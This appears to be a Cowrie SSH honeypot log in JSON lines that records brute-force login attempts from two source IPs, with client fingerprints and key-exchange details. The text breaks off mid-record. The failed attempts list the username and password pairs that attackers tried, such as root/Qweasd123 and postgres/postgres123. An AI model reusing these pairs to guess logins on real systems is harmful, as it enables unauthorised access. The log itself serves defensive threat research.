{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:36.363792Z","src_ip":"141.11.88.14","session":"6be3a4e10408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"Pass@123","message":"login attempt [server/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:36.875697Z","src_ip":"141.11.88.14","session":"6be3a4e10408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:38.101893Z","src_ip":"141.11.88.14","session":"6be3a4e10408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":52426,"dst_ip":"10.17.0.5","dst_port":22,"session":"38d5d4ec37d5","protocol":"ssh","message":"New connection: 141.11.88.14:52426 (10.17.0.5:22) [session: 38d5d4ec37d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:43.540300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:43.630096Z","src_ip":"141.11.88.14","session":"38d5d4ec37d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:43.633567Z","src_ip":"141.11.88.14","session":"38d5d4ec37d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qweasd123","message":"login attempt [root/Qweasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:44.359217Z","src_ip":"141.11.88.14","session":"38d5d4ec37d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:45.546451Z","src_ip":"141.11.88.14","session":"38d5d4ec37d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":46040,"dst_ip":"10.17.0.5","dst_port":22,"session":"d628a503d426","protocol":"ssh","message":"New connection: 141.11.88.14:46040 (10.17.0.5:22) [session: d628a503d426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:50.301005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:50.358323Z","src_ip":"141.11.88.14","session":"d628a503d426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:50.991458Z","src_ip":"141.11.88.14","session":"d628a503d426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:51.746520Z","src_ip":"141.11.88.14","session":"d628a503d426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:53.003040Z","src_ip":"141.11.88.14","session":"d628a503d426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":46064,"dst_ip":"10.17.0.5","dst_port":22,"session":"259fedf025eb","protocol":"ssh","message":"New connection: 141.11.88.14:46064 (10.17.0.5:22) [session: 259fedf025eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:57.153770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:57.264605Z","src_ip":"141.11.88.14","session":"259fedf025eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:57.326277Z","src_ip":"141.11.88.14","session":"259fedf025eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@#","message":"login attempt [root/123qwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:59.190020Z","src_ip":"141.11.88.14","session":"259fedf025eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:00.545350Z","src_ip":"141.11.88.14","session":"259fedf025eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":29664,"dst_ip":"10.17.0.5","dst_port":22,"session":"026c041556df","protocol":"ssh","message":"New connection: 141.11.88.14:29664 (10.17.0.5:22) [session: 026c041556df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:05.545464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:05.647417Z","src_ip":"141.11.88.14","session":"026c041556df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:05.651390Z","src_ip":"141.11.88.14","session":"026c041556df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111111111","message":"login attempt [root/1111111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:06.499014Z","src_ip":"141.11.88.14","session":"026c041556df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:07.673690Z","src_ip":"141.11.88.14","session":"026c041556df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":45060,"dst_ip":"10.17.0.5","dst_port":22,"session":"a32eb978beda","protocol":"ssh","message":"New connection: 141.11.88.14:45060 (10.17.0.5:22) [session: a32eb978beda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:13.075799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:13.424341Z","src_ip":"141.11.88.14","session":"a32eb978beda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:13.428393Z","src_ip":"141.11.88.14","session":"a32eb978beda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"111111","message":"login attempt [guest/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:14.460567Z","src_ip":"141.11.88.14","session":"a32eb978beda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:15.551471Z","src_ip":"141.11.88.14","session":"a32eb978beda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":56148,"dst_ip":"10.17.0.5","dst_port":22,"session":"73a8ed7472c0","protocol":"ssh","message":"New connection: 27.71.230.31:56148 (10.17.0.5:22) [session: 73a8ed7472c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:15.617892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:15.640959Z","src_ip":"27.71.230.31","session":"73a8ed7472c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:15.878268Z","src_ip":"27.71.230.31","session":"73a8ed7472c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@2025#","message":"login attempt [root/Admin@2025#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:19.329582Z","src_ip":"27.71.230.31","session":"73a8ed7472c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":50208,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a664c1b2a2d","protocol":"ssh","message":"New connection: 141.11.88.14:50208 (10.17.0.5:22) [session: 5a664c1b2a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:20.874036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:20.962128Z","src_ip":"141.11.88.14","session":"5a664c1b2a2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:20.965746Z","src_ip":"141.11.88.14","session":"5a664c1b2a2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:21.080223Z","src_ip":"27.71.230.31","session":"73a8ed7472c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dany","password":"dany","message":"login attempt [dany/dany] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:22.102103Z","src_ip":"141.11.88.14","session":"5a664c1b2a2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:23.266770Z","src_ip":"141.11.88.14","session":"5a664c1b2a2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":36754,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bc2964552cf","protocol":"ssh","message":"New connection: 141.11.88.14:36754 (10.17.0.5:22) [session: 3bc2964552cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:29.381987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:33:29.485799Z","src_ip":"141.11.88.14","session":"3bc2964552cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac